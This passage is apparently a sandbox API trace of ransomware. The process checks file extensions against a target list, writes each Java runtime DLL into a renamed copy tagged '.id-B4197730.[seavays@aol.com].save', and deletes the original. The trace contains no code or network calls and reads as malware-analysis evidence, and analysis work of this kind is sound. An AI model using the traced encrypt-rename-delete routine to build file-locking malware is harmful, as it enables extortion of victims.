(normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 1 [0075.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0075.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0075.582] lstrlenW (lpString=".doc") returned 4 [0075.582] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0075.582] lstrlenW (lpString=".docx") returned 5 [0075.582] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0075.582] lstrlenW (lpString=".pdf") returned 4 [0075.582] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0075.582] lstrlenW (lpString=".xls") returned 4 [0075.582] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0075.582] lstrlenW (lpString=".xlsx") returned 5 [0075.582] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0075.582] lstrlenW (lpString=".ppt") returned 4 [0075.582] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0075.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0075.582] lstrlenW (lpString=".zip") returned 4 [0075.582] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0075.582] lstrlenW (lpString=".rar") returned 4 [0075.582] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0075.582] lstrlenW (lpString=".bz2") returned 4 [0075.582] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0075.582] lstrlenW (lpString=".7z") returned 3 [0075.583] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0075.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0075.583] lstrlenW (lpString=".dbf") returned 4 [0075.583] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0075.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0075.583] lstrlenW (lpString=".1cd") returned 4 [0075.583] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0075.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0075.583] lstrlenW (lpString=".jpg") returned 4 [0075.583] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0075.584] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.584] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.584] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0075.584] GetLastError () returned 0x0 [0075.584] ReadFile (in: hFile=0x398, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x8f840, lpOverlapped=0x0) returned 1 [0075.949] WriteFile (in: hFile=0x37c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x8f850, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x8f850, lpOverlapped=0x0) returned 1 [0075.959] ReadFile (in: hFile=0x398, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0075.959] WriteFile (in: hFile=0x37c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xe8, lpOverlapped=0x0) returned 1 [0075.959] SetEndOfFile (hFile=0x37c) returned 1 [0075.960] CloseHandle (hObject=0x37c) returned 1 [0075.960] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.960] SetEndOfFile (hFile=0x398) returned 1 [0075.966] CloseHandle (hObject=0x398) returned 1 [0075.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0075.966] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 1 [0076.287] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0076.287] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0076.287] lstrlenW (lpString=".doc") returned 4 [0076.287] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.287] lstrlenW (lpString=".docx") returned 5 [0076.287] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0076.287] lstrlenW (lpString=".pdf") returned 4 [0076.287] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.287] lstrlenW (lpString=".xls") returned 4 [0076.287] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.287] lstrlenW (lpString=".xlsx") returned 5 [0076.287] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0076.287] lstrlenW (lpString=".ppt") returned 4 [0076.287] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.287] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0076.287] lstrlenW (lpString=".zip") returned 4 [0076.288] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.288] lstrlenW (lpString=".rar") returned 4 [0076.288] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.288] lstrlenW (lpString=".bz2") returned 4 [0076.288] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.288] lstrlenW (lpString=".7z") returned 3 [0076.288] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0076.288] lstrlenW (lpString=".dbf") returned 4 [0076.288] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0076.288] lstrlenW (lpString=".1cd") returned 4 [0076.288] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.288] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0076.288] lstrlenW (lpString=".jpg") returned 4 [0076.288] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.290] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.290] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.290] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0076.291] GetLastError () returned 0x0 [0076.291] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x43040, lpOverlapped=0x0) returned 1 [0076.300] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x43050, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x43050, lpOverlapped=0x0) returned 1 [0076.307] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.307] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xf2, lpOverlapped=0x0) returned 1 [0076.307] SetEndOfFile (hFile=0x34c) returned 1 [0076.308] CloseHandle (hObject=0x34c) returned 1 [0076.308] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.308] SetEndOfFile (hFile=0x2ec) returned 1 [0076.312] CloseHandle (hObject=0x2ec) returned 1 [0076.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0076.312] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll")) returned 1 [0076.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0076.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0076.313] lstrlenW (lpString=".doc") returned 4 [0076.313] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.313] lstrlenW (lpString=".docx") returned 5 [0076.313] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0076.313] lstrlenW (lpString=".pdf") returned 4 [0076.313] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.313] lstrlenW (lpString=".xls") returned 4 [0076.313] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.313] lstrlenW (lpString=".xlsx") returned 5 [0076.313] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0076.313] lstrlenW (lpString=".ppt") returned 4 [0076.313] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0076.313] lstrlenW (lpString=".zip") returned 4 [0076.313] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.313] lstrlenW (lpString=".rar") returned 4 [0076.313] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.313] lstrlenW (lpString=".bz2") returned 4 [0076.313] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.314] lstrlenW (lpString=".7z") returned 3 [0076.314] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0076.314] lstrlenW (lpString=".dbf") returned 4 [0076.314] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0076.314] lstrlenW (lpString=".1cd") returned 4 [0076.314] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54 [0076.314] lstrlenW (lpString=".jpg") returned 4 [0076.314] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.315] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.315] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.316] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0076.316] GetLastError () returned 0x0 [0076.316] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x2da40, lpOverlapped=0x0) returned 1 [0076.322] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x2da50, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x2da50, lpOverlapped=0x0) returned 1 [0076.746] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.747] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xee, lpOverlapped=0x0) returned 1 [0076.747] SetEndOfFile (hFile=0x34c) returned 1 [0076.747] CloseHandle (hObject=0x34c) returned 1 [0076.747] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.747] SetEndOfFile (hFile=0x2ec) returned 1 [0076.749] CloseHandle (hObject=0x2ec) returned 1 [0076.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0076.749] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll")) returned 1 [0076.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0076.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0076.750] lstrlenW (lpString=".doc") returned 4 [0076.750] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.750] lstrlenW (lpString=".docx") returned 5 [0076.750] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0076.750] lstrlenW (lpString=".pdf") returned 4 [0076.750] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.750] lstrlenW (lpString=".xls") returned 4 [0076.750] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.750] lstrlenW (lpString=".xlsx") returned 5 [0076.750] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0076.750] lstrlenW (lpString=".ppt") returned 4 [0076.750] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0076.750] lstrlenW (lpString=".zip") returned 4 [0076.750] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.750] lstrlenW (lpString=".rar") returned 4 [0076.750] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.750] lstrlenW (lpString=".bz2") returned 4 [0076.751] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.751] lstrlenW (lpString=".7z") returned 3 [0076.751] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0076.751] lstrlenW (lpString=".dbf") returned 4 [0076.751] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0076.751] lstrlenW (lpString=".1cd") returned 4 [0076.751] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0076.751] lstrlenW (lpString=".jpg") returned 4 [0076.751] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.751] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.751] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.752] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0076.752] GetLastError () returned 0x0 [0076.752] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x26a40, lpOverlapped=0x0) returned 1 [0076.756] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x26a50, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x26a50, lpOverlapped=0x0) returned 1 [0076.759] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.760] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xe6, lpOverlapped=0x0) returned 1 [0076.760] SetEndOfFile (hFile=0x34c) returned 1 [0076.760] CloseHandle (hObject=0x34c) returned 1 [0076.760] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.760] SetEndOfFile (hFile=0x2ec) returned 1 [0076.762] CloseHandle (hObject=0x2ec) returned 1 [0076.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0076.762] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll")) returned 1 [0076.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0076.762] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0076.762] lstrlenW (lpString=".doc") returned 4 [0076.762] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.762] lstrlenW (lpString=".docx") returned 5 [0076.763] lstrcmpiW (lpString1=".docx", lpString2="f.dll") returned -1 [0076.763] lstrlenW (lpString=".pdf") returned 4 [0076.763] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.763] lstrlenW (lpString=".xls") returned 4 [0076.763] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.763] lstrlenW (lpString=".xlsx") returned 5 [0076.763] lstrcmpiW (lpString1=".xlsx", lpString2="f.dll") returned -1 [0076.763] lstrlenW (lpString=".ppt") returned 4 [0076.763] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0076.763] lstrlenW (lpString=".zip") returned 4 [0076.763] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.763] lstrlenW (lpString=".rar") returned 4 [0076.763] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.763] lstrlenW (lpString=".bz2") returned 4 [0076.763] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.763] lstrlenW (lpString=".7z") returned 3 [0076.763] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.763] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0076.764] lstrlenW (lpString=".dbf") returned 4 [0076.764] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.764] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0076.764] lstrlenW (lpString=".1cd") returned 4 [0076.764] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.764] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 48 [0076.764] lstrlenW (lpString=".jpg") returned 4 [0076.764] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.764] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.764] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.764] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0076.765] GetLastError () returned 0x0 [0076.765] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x1e240, lpOverlapped=0x0) returned 1 [0076.768] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1e250, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x1e250, lpOverlapped=0x0) returned 1 [0076.771] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.771] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xf0, lpOverlapped=0x0) returned 1 [0076.771] SetEndOfFile (hFile=0x34c) returned 1 [0076.771] CloseHandle (hObject=0x34c) returned 1 [0076.771] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.771] SetEndOfFile (hFile=0x2ec) returned 1 [0076.773] CloseHandle (hObject=0x2ec) returned 1 [0076.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0076.773] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll")) returned 1 [0076.774] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0076.774] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0076.774] lstrlenW (lpString=".doc") returned 4 [0076.774] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0076.774] lstrlenW (lpString=".docx") returned 5 [0076.774] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0076.774] lstrlenW (lpString=".pdf") returned 4 [0076.774] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0076.774] lstrlenW (lpString=".xls") returned 4 [0076.774] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0076.774] lstrlenW (lpString=".xlsx") returned 5 [0076.774] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0076.774] lstrlenW (lpString=".ppt") returned 4 [0076.774] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0076.774] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0076.774] lstrlenW (lpString=".zip") returned 4 [0076.774] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0076.774] lstrlenW (lpString=".rar") returned 4 [0076.774] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0076.774] lstrlenW (lpString=".bz2") returned 4 [0076.774] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0076.774] lstrlenW (lpString=".7z") returned 3 [0076.774] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0076.774] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0076.774] lstrlenW (lpString=".dbf") returned 4 [0076.774] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0076.774] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0076.774] lstrlenW (lpString=".1cd") returned 4 [0076.775] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0076.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0076.775] lstrlenW (lpString=".jpg") returned 4 [0076.775] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0076.776] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.776] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0076.776] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0076.776] GetLastError () returned 0x0 [0076.776] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, 